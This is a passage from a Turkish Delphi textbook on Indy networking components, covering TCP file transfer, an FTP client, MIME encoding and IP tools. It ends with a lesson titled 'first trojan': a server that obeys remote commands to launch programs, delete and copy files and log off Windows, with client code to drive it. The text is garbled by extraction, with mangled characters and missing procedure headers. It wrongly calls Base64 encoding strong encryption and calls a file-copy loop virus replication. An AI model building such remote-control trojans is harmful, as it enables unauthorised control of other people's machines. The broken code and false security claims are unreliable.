StatusBar1.Panels[0].Text:='Dosya Alınıyor’;
AThread.Connection.ReadStream(dosya);//dosyaya aktar
StatusBar1.Panels[0].Text:='Dosya Gönderimi Tamamlandı';
end;
begin
end;
350
ùimdide Client Uygulamasına ait tasarımı verelim.
Client Uygulaması
Programın ihtiyacı oldu÷u kod blo÷u aúa÷ıda verilmiútir. ølgili yordamlara
ekleyiniz.
var
boyut:Single;
var
dosya:TFileStream;
yol:AnsiString;
begin
begin
end;
dosya:=TFileStream.Create(yol,fmOpenRead);//var olanı kullan
boyut:=dosya.Size; //dosyanın uzunlu÷u
StatusBar1.Panels[1].Text:=IntToStr(boyut);
IdTCPClient1.Connect(); //ba÷lan
IdTCPClient1.WriteStream(dosya);//akıúa al
end;
begin
end;
351
procedure TForm1.IdTCPClient1WorkBegin(Sender: TObject;
AWorkMode: TWorkMode; const AWorkCountMax: Integer);
begin
StatusBar1.Panels[0].Text:='Dosya Gönderiliyor';
end;
procedure TForm1.IdTCPClient1WorkEnd(Sender: TObject;
AWorkMode: TWorkMode);
begin
StatusBar1.Panels[0].Text:='Dosya Gönderildi';
end;
ùimdi iki uygulamaya ait “exe” dosyalarını yanyana çalıútırıp “Dosya Gönder”
dü÷mesine basınız. ølk olarak gönderece÷iniz dosyayı seçmenizi isteyecek,
ardından di÷er uygulama dosyayı kaydedece÷i yeri ve ismini sorup kayıt iúlemi
tamamlanacaktır.
352
IdFTP Kontrolü:
“Indy Clients” yapra÷ında yer alan bu kontrol sayesinde “FTP” sitelerine
ba÷lanabilir, bu sitelerden dosya indirebilir veya dosya gönderebilirsiniz.
Aúa÷ıda kontrole ait özellikler listelenmektedir.
x IdFTP1.Port
“FTP” sitelerine ba÷lanabilmek için kullanılacak olan port numarası bu
özellikle belirlenir.
begin
IdFTP1.Port:=21;
end;
x IdFTP1.Host
Ba÷lanılacak “FTP” sitesine ait adres bu özellikte tutulur.
begin
IdFTP1.Port:=21;
IdFTP1.Host:=’ftp.microsoft.com’;
end;
x IdFTP1.Username
ùayet site úifre iúlemleriniz için úifre bilgisi istiyorsa kullanıcı adını bu özellikle
belirlemelisiniz. ùayet free sitelere ulaúmak isterseniz o zaman “anonymous”
kullanıcı ismini kullanabilirsiniz (zorunludur).
Char);
begin
IdFTP1.Username:='anonymous';
end;
353
x IdFTP1.Password
Yetki isteyen siteler için kullanabilece÷iniz úifre de÷erini belirleyen özelli÷idir.
ùayet free sitelere ulaúacaksanız e-mail adresinizi girmelisiniz.
Char);
begin
IdFTP1.Port:=21;
IdFTP1.Host:=ComboBox1.Text;
IdFTP1.Password:='[email protected]';
end;
end;
x IdFTP1.List
Sitede yer alan dosya veya klasörleri listelemek için kullanılan methoddur.
Geriye dönen de÷erler “Tstrings” tipte bir de÷iúkende depolanabilir.
var
dosyalar:TStrings;
begin
dosyalar:=TStringList.Create;
IdFTP1.Port:=21;
IdFTP1.Connect();
IdFTP1.List(dosyalar,'',false);
ComboBox2.Items:=dosyalar;
ComboBox2.ItemIndex:=0;
end;
Methodda kullanılan ikinci parametre listelenecek elemanlar için kriter
belirleyecektir. ùayet boú strıng (‘’) girerseniz tüm dosya ve klasörleri, (*.*)
girerseniz tüm dosyaları (klasörler hariç), “*.bmp” girerseniz sadece “bmp”
uzantılı dosyaları listeleyecektir. Üçüncü parametre nin “false” olması
durumunda elemanların sadece isimlerini, “true” olması durumunda ise
isimleriyle beraber di÷er özelliklerinide listeleyecektir.
354
x IdFTP1.Connect()
Tüm ba÷lantı ayarlarını yaptıktan sonra siteye ulaúabilmek için kullanılan
methoddur.
begin
IdFTP1.Port:=21;
IdFTP1.Connect();//Ba÷lan
end;
x IdFTP1.ChangeDir
Ba÷landı÷ınız site için aktif klasörü de÷iútirmek için kullanılan methoddur.
ùayet webBrowser kullanıyorsanız ve di÷er klasöre girerseniz bu methodla aktif
dizini de÷iútirmelisiniz.
begin
IdFTP1.ChangeDir(Edit1.Text);//yeni dizin
end;
x IdFTP1.RemoveDir
Aktif dizin içerisinde bulunan klasörü silmek için kullanılan methoddur. Sadece
klasörün ismini girmeniz yeterli olacaktır.
begin
IdFTP1.RemoveDir('MISC');//klasörü sil
end;
x IdFTP1.ChangeDir
Yeni klasörün içini açabilmeniz için kullanabilece÷iniz methoddur. Yine sadece
klasörün ismini yazmanız yeterli olacaktır.
355
begin
IdFTP1.ChangeDir('MISC');//MISC klasörüne geç
end;
x IdFTP1.MakeDir
Sitede yeni boú bir klasör oluúturmak için kullanılan methoddur. Oluúturulacak
olan klasörün sadece ismini girmeniz yeterli olacaktır.
begin
IdFTP1.MakeDir('yenioldu');//klasörü yarat
end;
x IdFTP1.RemoveDir
Aktif klasörün içerisinde var olan klasörü silmek için kullanılan methoddur.
Silece÷iniz klasörün sadece ismini girmeniz yeterli olacaktır.
begin
IdFTP1.RemoveDir('yenioldu');//Belirtilen klasörü sil
end;
x IdFTP1.Delete
Aktif klasörün içerisindeki dosyayı silmek için kullanılan methoddur. Sadece
dosyanın ismini girmeniz yeterli olacaktır.
begin
IdFTP1.Delete('yenidosya');//dosyayı sil
end;
x IdFTP1.Rename
Aktif site içerisinde var olan dosyanın ismini de÷iútirmek için kullanılan
methoddur. Birinci parametre dosyanın ismini, ikinci parametre de
de÷iútirildikten sonra alaca÷ı yeni ismi belirleyecektir.
356
begin
IdFTP1.Rename('yuksel.txt','zaki.txt');//yuksel.txt yi “zeki.txt” yap
end;
x IdFTP1.Size
Parametre ile belirlenen dosyanın uzunlu÷unu hesaplayan methoddur. Parametre
de÷erine sadece dosyanın ismini girmeniz yeterli olacaktır.
begin
Form1.Caption:=’Dosya Boyutu=’+IntToStr(IdFTP1.Size('yenidosya'));
end;
x IdFTP1.Quit
Siteden ayrılmak için kullanılan methoddur.
begin
IdFTP1.Quit;//Çık
end;
x IdFTP1.Get
Akfit “FTP” sitesinden dosya indirmek için kullanılan methoddur. Birinci
parametre ile indirilecek dosyanın ismini, ikinci parametre ile bilgisayarınızda
kaydedece÷iniz yeri (ismiyle beraber), üçüncü parametre ile de aynı isimli baúka
bir dosya varsa üzerine yazılıp yazılmayaca÷ını belirleyebilirsiniz.
//Dosya øndir
var
mesaj:Integer;
dosya:AnsiString;
begin
mesaj:=Application.MessageBox('Dosya øndirilsinmi','Dosya øndir',
MB_YESNO);
if mesaj=mrYes Then
begin
357
dosya:=SaveDialog1.FileName;//Buraya kaydet
IdFTP1.Get(ComboBox2.Text,dosya,false);//üstüne yazma
end;
end;
x IdFTP1.Put
“FTP” sitesine dosya yollamak için kullanaca÷ınız methoddur. Birinci parametre
dosyanın bilgisayarınızda bulundu÷u adresini (ismiyle beraber), ikinci parametre
aktif klasöre kaydedilecek olan ismini, üçüncü parametrede üstüne yazılıp
yazılmayaca÷ını belirleyecektir.
//Dosya Yolla
var
yol:AnsiString;
begin
begin
end;
IdFTP1.Put(yol,'yeniisim.txt',true);
end;
x IdFTP1.Disconnect
Siteden ba÷lantıyı kesmek için kullanılan methoddur.
//Ba÷lantıyı Kes
begin
IdFTP1.Disconnect();
end;
ùimdi anlattı÷ımız bu özellik ve methodları programımızda kullanabilece÷imiz
bir örnek yapalım Örne÷imiz için aúa÷ıda gösterilen tasarımı oluúturup gerekli
olan kodları “Unit” penceresine ekleyiniz.
358
Uygulama 9:Ftp Sitelerinden Dosya øndirmek
Uygulamamız için formunuza bir adet “IdFTP”, bir adet “OpenDialog”, bir adet
“SaveDialog”, iki adet “ComboBox”, dört adet “Button”, bir adet “Edit” ve bir
adet “Label” kontrolü yerleútiriniz.
Program için kullanılacak olan kod blo÷u aúa÷ıda verilmiútir.
var
dosyalar:TStrings;
begin
ComboBox1.Items.Add('ftp.bir.net');
ComboBox1.Items.Add('ftp.linux.org.tr');
ComboBox1.Items.Add('ftp.bir.net');
ComboBox1.Items.Add('ftp.microsoft.com');
ComboBox1.ItemIndex:=0;//Dördüncü elemanı göster
IdFTP1.Port:=21;
IdFTP1.Connect();
ComboBox1.Style:=csOwnerDrawFixed;//giriú yok sadece seç
end;
359
var
dosyalar:TStrings;
begin
ComboBox2.Items.Clear;
IdFTP1.Port:=21;
Form1.Caption:=IdFTP1.RetrieveCurrentDir;//aktif dizini yaz
end;
Char);
var
dosyalar:TStrings;
begin
if Key=#13 Then
begin
IdFTP1.Port:=21;
end;
end;
//Dizin De÷iútir
var
dosyalar:TStrings;
begin
IdFTP1.ChangeDir(Edit1.Text);
IdFTP1.List(dosyalar,'',false);//klasör ve dosyaları göster
360
ComboBox2.Items:=dosyalar;//aktar
ComboBox1.Text:=ComboBox1.Text+'/'+Edit1.Text;
end;
//Dosya øndir
var
mesaj:Integer;
dosya:AnsiString;
begin
mesaj:=Application.MessageBox('Dosya øndirilsinmi','Dosya
øndir',MB_YESNO);
if mesaj=mrYes Then
begin
dosya:=SaveDialog1.FileName;//Buraya kaydet
IdFTP1.Get(ComboBox2.Text,dosya,false);//üstüne yazma
end;
end;
//Ba÷lantıyı Kes
begin
IdFTP1.Disconnect;
WebBrowser1.Navigate('ftp://ftp.bir.net');
ComboBox1.Text:='ftp.bir.net';
ComboBox2.Enabled:=false;
end;
var
dosyalar:TStrings;
begin
IdFTP1.Port:=21;
Form1.Caption:=IdFTP1.RetrieveCurrentDir;
361
end;
//Dosya Yolla
var
yol:AnsiString;
begin
begin
end;
IdFTP1.Put(yol,'yeniisim.txt',true);
end;
//Ba÷lan
var
dosyalar:TStrings;
begin
ComboBox2.Enabled:=true;
ComboBox1.ItemIndex:=0;//ølk elemanı göster
IdFTP1.Port:=21;
IdFTP1.Connect();
end;
ùimdi programı çalıútırabilirsiniz. Uygulamanızın ekran görüntüsü aúa÷ıdaki
úekilde gerçekleúecektir. Dilerseniz ba÷landı÷ınız siteye dosya yollayabilir,
dilerseniz siteden dosya indirebilirsiniz. Form üzerinde yer alan Edit kutusu
içerisine klasör de÷iútirmek istedi÷iniz zaman, içerisindeki dosyaları
362
listeleyece÷iniz klasörün ismini girmelisiniz. Ardından “Dizin De÷iútir”
dü÷mesine basın.
Örnekte dikkat edin, ikinci combo içerisindeki elemanlar aktif sitede yer alan
indirilebilir dosya isimleri olacaktır.
ùimdi ister dosya indirin, isterseniz dosya gönderin. Dosya indirmek için ikinci
ComboBox dan dosyanın ismini seçmeniz yeterli olacaktır.
363
IdEncoderMIME Kontrolü:
“Indy Misc” yapra÷ında yer alan bu kontrol sayesinde dosyalarınızı veya
metinlerinizi kolayca encript edebilirsiniz. Bilhassa network ortamına
aktarılacak olan verilerin encript edilmeleri bazı durumlar için zorunlu olabilir.
Dosyaları encript edip gönderirseniz güvenli÷i max dereceye çıkarmıú
olursunuz. Aúa÷ıda kontrole ait özellikler listelenmektedir.
x IdEncoderMIME1.EncodeString
Parametreyle girilen metni úifrelemek için kullanılan methoddur. Geriye dönen
de÷er string tip bir de÷iúkende tutulabilir.
//Metin Encript Et
var
deger:AnsiString;
begin
deger:=IdEncoderMIME1.EncodeString(Memo1.Text);
end;
ùayet bir dosyayı encript edecekseniz aúa÷ıdaki kod blo÷unu kullanabilirsiniz.
//Dosya Encript et
var
dosya:TFileStream;
begin
dosya:=TFileStream.Create('c:\ali.txt',fmOpenread);
IdEncoderMIME1.Encode(dosya);
end;
Decript etme iúlemini gösterdikten sonra bu kontrole ait örneklendirme
yapılacaktır. Bu yüzden úimdilik di÷er Decript iúlemi için kullanılan kontrole ait
özellikleri inceleyece÷iz.
364
IdDecoderMIME Kontrolü:
“Indy Misc” yapra÷ında yer alan bu kontrol sayesinde “IdEncoderMIME”
kontrolüyle
kodlanmıú
olan
metinler
kolayca
orjinal
hallerine
dönüútürülebilirler. Aúa÷ıda bu kontrole ait özellikle açıklanmaya
çalıúılmaktadır.
x IdDecoderMIME1.DecodeString
“IdEncoderMIME” kontrolü ile kodlanmıú metinler bu method sayesinde eski
hallerine dönüútürülebilirler. Geriye dönen de÷er string tipte bir de÷iúkene
aktarılabilir.
//Çöz
var
deger:AnsiString;
begin
deger:=IdDecoderMIME1.DecodeString(Memo2.Text);
end;
x IdDecoderMIME1.DecodeToStream
String içeri÷i kodlayıp, stream tipte de÷iúkene (dosya de÷iúkenine) aktarmak
için kullanılan methoddur.
//çöz dosyaya yolla
var
deger:AnsiString;
dosya:TfileStream;
begin
IdDecoderMIME1.DecodeToStream(deger,dosya);
end;
ùimdi hem Encript, hemde Decript iúlemini gerçekleútirebilece÷imiz bir örnek
yapaca÷ız.
365
Uygulama 9:Dosyalara Encript-Decript øúlemleri Uygulamak
ùimdiki örne÷imizde harddiskte yer alan “txt” uzantılı dosya içerisindeki
bilgileri memo kontrolünde açarak kodlayaca÷ız. Ardından kodladı÷ımız içeri÷i
yine bilgisayarın içerisinde, aynı klasöre farklı isimde saklayaca÷ız. økinci
adımda ise kodladı÷ımız dosyayı kullanarak “Decript” iúlemini gerçekleútirerek
orjinal dosyayı oluúturaca÷ız. Aúa÷ıdaki tasarımı oluúturunuz.
ølk Yapra÷a ait tasarım.
økinci yapra÷a ait tasarım
ùimdi yapaca÷ımız iúlemleri adım adım oluúturalım. Aúa÷ıdaki hususları aynı
sırayla sizde geçekleútiriniz.
366
Birinci adımda formunuza bir adet “Indy Misc” yapra÷ında yer alan
“IdEncoderMIME” kontrolü yerleútirin.
økinci adımda formunuza bir adet “Indy Misc” yapra÷ında yer alan
“IdDecoderMIME” kontrolü yerleútirin.
Üçüncü adımda formunuza bir adet “Dialog” yapra÷ında yer alan
“OpenDialog” kontrolü ekleyiniz.
Dördüncü adımda formunuza “Win32” yapra÷ında yer alan
“PageControl” kontrolü yerleútirip iki adet yaprak ekleyin (Bu konular
daha önce ki kitabımızda detaylı olarak anlatılmıútır).
Sanıyorum di÷er kontroller için açıklama yapmaya gerek yok tasarım
görüntüsünden kolayca çıkarabilirsiniz.
Son olarak aúa÷ıdaki kod bloklarını “Unit” pencerenize ekleyiniz.
implementation
uses StrUtils;
{$R *.dfm}
var
klasor:AnsiString;
yol:AnsiString;
ad:AnsiString;
kodludeger:Ansistring;
//Dosya Seç
begin
begin
ad:=ExtractFileName(yol);
klasor:=ExtractFilePath(yol);
Memo1.Lines.LoadFromFile(yol);
label2.Caption:=AnsiReplaceStr(ad,'.','_')+'.xxx';//harfleri de÷iútir
end;
end;
//Encript
var
deger:AnsiString;
begin
deger:=IdEncoderMIME1.EncodeString(Memo1.Text);//metni kodla
Memo2.Text:=deger;
Memo2.Lines.SaveToFile(klasor+'\'+Label2.Caption);//kaydet
end;
367
//Decript
var
deger:AnsiString;
begin
deger:=IdDecoderMIME1.DecodeString(Memo2.Text);//çöz
Memo1.Text:=deger;
Memo1.Lines.SaveToFile(klasor+'\'+label5.Caption);
end;
//økinci yaprak için seç
begin
begin
ad:=ExtractFileName(yol);
klasor:=ExtractFilePath(yol);
label5.Caption:=AnsiReplaceStr(ad,'.','_')+'.txt';//harfleri de÷iútir
end;
end;
Programı çalıútırdıktan sonra “Dosya Encript Et” yapra÷ını aktif hale getirin.
Ardından “Seç” dü÷mesine tıklayarak “txt” uzantılı bir dosya bulun. øçerik
“Memo” kontrolüne aktarılacaktır.
Ardından “Encript” dü÷mesine tıklayarak “Memo” içerisindeki metnin
kodlanmasını sa÷layın (kodlanan metin aynı klasör içerisinde yeni ismiyle
kaydedilecektir).
368
ùimdi “Dosya Decript Et” yapra÷ını aktifleútirirseniz. Metnin kodlanmıú halini
“Memo2” kontrolünde görebilirsiniz.
ùayet kodlanmıú bir dosyayı çözecekseniz o zaman ilk olarak “Dosya Decript
Et” yapra÷ını aktifleútirerek aynı iúlemleri tekrarlayınız (bu sefer Encript edilmiú
dosyayı seçin).
Bu iúlemleri uyguladıktan sonra orjinal dosyanızın bulundu÷u klasörün içerisi
aúa÷ıdaki úekilde yeni iki dosya daha barındıracaktır.
Dikkat edin “neticin.txt”, “neticin_txt.xxx” ve “neticin_txt_xxx.txt” dosyaları
pencerede gözükmektedir.
369
Uygulama 10:Stream Tip De÷iúkenlerle Encript-Decript øúlemleri
Bu örne÷imizde TFileStream tip bir de÷iúken kullanarak dosya encript ve
decript iúlemlerini göstermek istiyorum. Örne÷imiz için aúa÷ıdaki form
tasarımını oluúturunuz.
Formun üzerine yerleútirilen kontroller için açıklanacak fazla bir úey yok,
hepsini yerleútiriniz. Ardından aúa÷ıdaki kod blo÷unu “Unit” pencerenize
ekleyiniz.
begin
Memo1.Lines.LoadFromFile('c:\nihat\yuksel.txt');
end;
//Encript
var
dosya:TFileStream;
yol,metin:AnsiString;
begin
begin
dosya:=TFileStream.Create(yol,fmOpenRead);
metin:=IdEncoderMIME1.Encode(dosya);//Encript Et
Memo2.Text:=metin;
Memo2.Lines.SaveToFile(yol+'.xxx');//kaydet
370
end;
end;
//Decript
var
dosya:TFileStream;
metin,yol:AnsiString;
begin
begin
yol:=SaveDialog1.FileName;
dosya:=TFileStream.Create(yol,fmCreate);//dosyayı yarat
metin:=Memo2.Text;
IdDecoderMIME1.DecodeToStream(metin,dosya);//çöz dosyaya aktar
dosya.Free;
Memo3.Lines.LoadFromFile(yol);//göster
end;
end;
Programı çalıútırdıktan sonra iki dü÷meyi de kulanırsanız aúa÷ıdaki ekran
görüntüsüyle karúılaúırsınız.
“Memo1” ilk dosyaya ait bilgileri göstermektedir. Ardından uygulanan
Encription iúlemi sonucunda “Memo2” de kodlanmıú hali, yine uygulanan
“Decription” iúlemi sonucunda eski dosya içeri÷iyle aynı olan yeni dosyanın
içeri÷i “Memo3” kontrolünde gösterilmektedir.
371
IdIPWatch Kontrolü:
Bu kontrol sayesinde bilgisayarınızın a÷ ba÷lantısıyla ilgili tüm de÷iúiklikleri
izlemeniz mümkün olabilmektedir. Aynı zamanda a÷ ba÷lantısı için kullanılan
bir çok özelli÷ide ö÷renebilirsiniz.
x IdIPWatch1.Active
A÷ ba÷lantısında olabilecek de÷iúiklikleri izlemek için bu özelli÷e true de÷erinin
aktarılması gerekecektir.
begin
IdIPWatch1.Active:=true;
end;
x IdIPWatch1.IsOnline
Ethernet veya modem ba÷lantısının var olup olmadı÷ını bu özellikle kontrol
edebilirsiniz. True de÷erinin dönmesi lokal veya internet ba÷lantınızın oldu÷u
anlamını taúımaktadır.
begin
if IdIPWatch1.IsOnline Then//ba÷lantı varsa
begin
StatusBar1.Panels[0].Text:=IdIPWatch1.CurrentIP;
end;
x dIPWatch1.CurrentIP
Bilgisayarınızın o an kullandı÷ı “IP” numarasını ö÷renebilmeniz için
kullanabilece÷iniz özelliktir. Geriye string tip de÷er dönecektir.
begin
StatusBar1.Panels[0].Text:=IdIPWatch1.CurrentIP;
end;
372
x IdIPWatch1.LocalName
Bilgisayarınızın ismini ö÷renebilece÷iniz özelli÷idir.
begin
StatusBar1.Panels[1].Text:=IdIPWatch1.LocalName;
end;
x IdIPWatch1.PreviousIP
Bir önce kullanılmıú olan “IP” numarasını ö÷renebilmek için kullanılan
özelli÷idir. Daha önce bilgisayarın kullandı÷ı “IP” numaraları “History”
içerisinde saklanmaktadır (belli bir de÷ere kadar).
begin
StatusBar1.Panels[2].Text:=IdIPWatch1.PreviousIP;
end;
x IdIPWatch1.IPHistoryList
History de birikmiú (daha önce kullanılmıú olan) “IP” numaralarını listelemek
için kullanılan özelli÷idir. ùayet kurulum aúamasından sonra tek bir “IP” de÷eri
kullanılımıúsa liste boú gelebilir.
var
deger:TStrings;
begin
deger:=TStringList.Create;
deger:=IdIPWatch1.IPHistoryList;
ListBox1.Items:=deger;
end;
x OnStatusChanged Yordamı
Ba÷lantı durumunda de÷iúiklik olması bu yordamı otomatik olarak iúletecektir.
Yordamın iúletilebilmesi için, a÷ ba÷lantısının aktifleúmesi veya aktif olan a÷
ba÷lantısının kapatılması gerekecektir.
373
IdNetworkCalculator Kontrolü:
“Indy Misc” yapra÷ında yer alan bu kontrol sayesinde belirleyece÷iniz “IP”
numarası ve “Subnet Mask” de÷erine göre, o segmentteki tüm özellikleri
ö÷renebilirsiniz. Bu kontrolle bilgisayarınıza ait de÷erleri de÷iútiremezsiniz
sadece olan de÷erleri ö÷renebilirsiniz.
x IdNetworkCalculator1.NetworkAddress.AsString
Özelliklerini
listelemek
istedi÷iniz “IP”
numarasını
bu
úekilde
belirleyebilirsiniz.Atanacak olan de÷er string tipte bir de÷iúkenin de÷eri
olacaktır.
begin
IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100';
end;
x IdNetworkCalculator1.NetworkMask.AsString
Özelliklerini belirleyece÷iniz “IP” numarasına ait “Subnet Mask” de÷erini bu
özellikle belirleyebilirsiniz. “IP” numarasını belirlediktan sonra buraya rasgele
bir de÷er giremezsiniz. Birazdan bu de÷eri nasıl belirleyebilece÷iniz hususunda
gerekli açıklamalar yapılacaktır.
begin
IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0';
end;
x IdNetworkCalculator1.StartIP
Belirledi÷iniz subnet te yer alan ilk “IP” numarasını bu özellikle
ö÷renebilirsiniz.
begin
StatusBar1.Panels[0].Text:=IdNetworkCalculator1.StartIP;
end;
374
x IdNetworkCalculator1.EndIP
Belirledi÷iniz subnet te yer alan son “IP” numarasını bu özellikle
ö÷renebilirsiniz.
begin
StatusBar1.Panels[0].Text:=IdNetworkCalculator1.EndIP;
end;
x IdNetworkCalculator1.NumIP
Belirlenen Sunette kaç de÷iúik “IP” numarasının yer alabilece÷ini belirleyen
özelliktir.
begin
StatusBar1.Panels[3].Text:=IntToStr(IdNetworkCalculator1.NumIP);
end;
x IdNetworkCalculator1.ListIP
O subnette kullanabilece÷iniz tüm “IP” numaralarını ö÷renebilece÷iniz
methoddur. Aúa÷ıda kullanımına ait örneklendirme yapılmaktadır.
var
deger:TStrings;
begin
deger:=IdNetworkCalculator1.ListIP;
end;
375
Uygulama 11:IP Numaralandırma
ùimdiki örne÷imizde belirleyece÷imiz “IP” numarası ile Subnet mask de÷erine
ait özellikleri listeleyebilece÷imiz çok basit bir uygulama yapaca÷ız. Örne÷imiz
için aúa÷ıdaki tasarımı oluúturunuz.
Aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz.
//Ö÷ren
begin
StatusBar1.Panels[0].Text:=IdNetworkCalculator1.StartIP;
StatusBar1.Panels[1].Text:=IdNetworkCalculator1.EndIP;
StatusBar1.Panels[2].Text:=IdNetworkCalculator1.NetworkAddress.AsString;
StatusBar1.Panels[3].Text:=IntToStr(IdNetworkCalculator1.NumIP);
end;
//Listele
var
deger:TStrings;
begin
deger:=IdNetworkCalculator1.ListIP;
end;
ùimdi programınızı çalıútırabilirsiniz.
376
“Ö÷ren” ve “Listele” isimli dü÷melere tıkladıktan sonraki ekran görüntüsü
Listede yer alan elemanlar o a÷a baúlı bilgisayarlara verilebilecek olan “IP”
numaralarını göstermektedir.
377
Uygulama 12:Ba÷lanan Bilgisayarın IP Aralı÷ı
Bilhassa uzmanların çok kullandı÷ı bir yapı olan boútaki “IP” numaralarından
birisini kullanıp sisteme girme iúleminin ilk kısmını yapalım. Yani size ba÷lanan
bilgisayarın içerisine eriúebilmek için kullanılabilecek olan “IP” numaralarını
listeletelim.
Server Uygulaması
Yukarıdaki form tasarımını oluúturup, üzerine bir adet “IdTCPServer” kontrolü
ile bir adet “IdNetworkCalculator” kontrolü yerleútiriniz. Ardından aúa÷ıdaki
kod blo÷unu “Unit” pencerenize ekleyiniz.
//Portu Dinle
begin
end;
var
ipno:AnsiString;
subnet:AnsiString;
liste:TStrings;
begin
StatusBar1.Panels[0].Text:='Client Ba÷landı';
liste:=TStringList.Create;
ipno:=AThread.Connection.Socket.Binding.PeerIP;
378
subnet:='255.255.0.0';
IdNetworkCalculator1.NetworkAddress.AsString:=ipno;
IdNetworkCalculator1.NetworkMask.AsString:=subnet;
liste:=IdNetworkCalculator1.ListIP;
ListBox1.Items:=liste;
end;
Client Uygulaması
Client uygulaması için formunuza bir adet “IdTCPClient” kontrolü yerleútirip
aúa÷ıdaki kod blo÷unu formunuza ekleyiniz.
//Ba÷lan
begin
IdTCPClient1.Host:=Edit1.Text;
IdTCPClient1.Port:=StrToInt(Edit2.Text);
end;
//Gönder
var
mesaj:AnsiString;
begin
mesaj:=Memo1.Lines.Strings[Memo1.Lines.count-1];
IdTCPClient1.WriteLn(mesaj);
end;
379
begin
StatusBar1.Panels[0].Text:='Server a Ba÷lanıldı';
end;
begin
StatusBar1.Panels[0].Text:='Server ile Ba÷lantı Koptu';
end;
ùimdi iki uygulamayı aúa÷ıdaki úekilde yanyana getirip çalıútırın.
Client uygulaması Server bilgisayarına ba÷landı÷ı anda, a÷ geçidinde yer alan
tüm “IP” numaraları listelenecektir. Bu tür network uygulamalarında kodlarınızı
“try-except” blo÷u içerisinde yazmayı unutmayınız. Oluúabilecek istem dıúı
durumları bu úekilde engelleyebilirsiniz.
380
Uygulama 13:ølk Trojan
ùimdiki uygulamamızda iki adet proje geliútirerek “Client” uygulamasından
“Server” uygulamasını yönetece÷iz. Aynı mantıkla daha de÷iúik kodlar
kullanarak projeyi geliútirebilirsiniz. øki uygulamaya ait tasarım görüntüleri
aúa÷ıda verilmiútir. Sizde aynı tasarımları oluúturunuz.
Server Uygulaması
Formnuza bir adet ComboBox, bir adet Label ve bir adet IdTcpServer kontrolü
yerleútirerek aúa÷ıdaki kod blo÷unu da “Unit” pencerenize ekleyiniz.
Cd kapa÷ını açıp kapatmak için “uses” satırına “MMSYSTEM” kütüphanesini
eklemeyi unutmayınız.
begin
AThread.Connection.WriteLn('Ba÷lantı Sa÷landı');
StatusBar1.Panels[0].Text:='Komut Bekleniyor';
end;
begin
end;
var
mesaj:AnsiString;
i:Integer;
ad:Array[0..5] of PAnsiChar;
elips:HRGN;
381
begin
mesaj:=AThread.Connection.ReadLn;//portu oku
if mesaj='notepad' Then
begin
WinExec('c:\winnt\notepad.exe',SW_SHOW);//çalıútır
AThread.Connection.WriteLn('ùu An Server da Nete Pad Çalıúıyor');
StatusBar1.Panels[1].Text:='En Son Çalıútır Komutu Geldi';
end
else if mesaj='cdac' Then
begin
mciSendString('set cdaudio door open',nil,0,0);//kapa÷ı aç
AThread.Connection.WriteLn('Cd Kapa÷ı Açıldı');
StatusBar1.Panels[1].Text:='En Son Cd Ka÷pa÷ını Aç Komutu Geldi';
end
else if mesaj='cdkapat' Then
begin
mciSendString('set cdaudio door closed',nil,0,0);//cd yi kapat
AThread.Connection.WriteLn('Cd Kapa÷ı Kapatıldı');
StatusBar1.Panels[1].Text:='En Son Cd K÷pa÷ını Kapat Komutu Geldi';
end
else if mesaj='ekran' Then
begin
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_SCREENSAVE,0);
AThread.Connection.WriteLn('Ekran Koruyucu Çalıútırıldı');
StatusBar1.Panels[1].Text:='En Son Ekran Koruyucuyu Çalıútır Komutu Geldi';
end
else if mesaj='sil' Then
begin
DeleteFile('c:\nihat.txt');
AThread.Connection.WriteLn('Dosya Silindi');
StatusBar1.Panels[1].Text:='En Son Dosya Sil Komutu Geldi';
end
else if mesaj='kopyala' Then
begin
for i:=0 to 5 do //altı kere kopyala
begin
StrPCopy(ad[0],PCHar(IntToStr(i)));//yeni ismler
CopyFile('c:\nihat.txt',pcHAR('c:\nihat'+ad[0]+'.txt'),FALSE);//6 dosya oluútur
//Kendili÷inden ço÷alan virüs dosyaları bu kod ile oluúturulmaktadır.
end;
AThread.Connection.WriteLn('Dosya Kopyalandı');
StatusBar1.Panels[1].Text:='En Son Dosya Kopyala Komutu Geldi';
end
382
else if mesaj='elips' Then
begin
elips:=CreateEllipticRgn(0,0,Form1.Width,Form1.Height);
SetWindowRgn(Form1.Handle,elips,true);
AThread.Connection.WriteLn('Form Elips ùeklinde');
StatusBar1.Panels[1].Text:='En Son Elips Form Komutu Geldi';
end
else if mesaj='comboac' Then
begin
SendMessage(ComboBox1.Handle,CB_SHOWDROPDOWN,200,0);
AThread.Connection.WriteLn('ComboBox Açıldı');
StatusBar1.Panels[1].Text:='En Son ComboBox ı Aç Komutu Geldi';
end
else if mesaj='kapat' Then
begin
ExitWindows(12,ewx_logoff);
AThread.Connection.WriteLn('Kapanıyor');
StatusBar1.Panels[1].Text:='En Son Kapat Komutu Geldi';
End
else
begin
ShowMessage(mesaj);
AThread.Connection.WriteLn('Mesaj Alındı');
StatusBar1.Panels[1].Text:='Mesaj Geldi';
end;
end;
Bu örnek için Dosya sil ve Dosya kopyala seçeneklerinde “c:\nihat.txt” dosyası
var olarak kabul edilmiútir (sizde oluúturun). Aslında daha de÷iúik algoritmalarla
daha farklı alternatifler sunulabilir (siz eklemeyi deneyip programı geliútiriniz).
Bu kısmı artık sizlere bırakıyoruz.
Client Uygulaması
Server uygulamasına komut gönderecek olan Client uygulamasına ait form
tasarımı aúa÷ıda verilmiútir.
Formunuza bir adet “IdTCPClient” (indyClient yapra÷ında) kontrolü ile di÷er
dü÷me ve Edit kontrollerini yerleútiriniz. Ardından aúa÷ıdaki kod blo÷unu
“Unit” pencerenize ekleyiniz.
383
//Ba÷lantı ayarları
begin
Edit1.Text:='10.11.0.180';
Edit2.Text:='20000';
end;
//Ba÷lan
var
oku:AnsiString;
begin
IdTCPClient1.Connect(); //ba÷lan
oku:=IdTCPClient1.ReadLn;//porttan oku
StatusBar1.Panels[0].Text:=oku;
end;
//NotePad Çalıútır
var
oku:AnsiString;
begin
begin
IdTCPClient1.WriteLn('notepad');//gönder
384
end;
end;
//Cd Aç
var
oku:AnsiString;
begin
begin
IdTCPClient1.WriteLn('cdac');//gönder
end;
end;
//Cd Kapat
var
oku:AnsiString;
begin
begin
IdTCPClient1.WriteLn('cdkapat');//gönder
end;
end;
//Ekran Koruyucuyu Çalıútır
var
oku:AnsiString;
begin
begin
IdTCPClient1.WriteLn('ekran');//gönder
end;
end;
//Mesaj Yolla
var
oku:AnsiString;
mesaj:AnsiString;
385
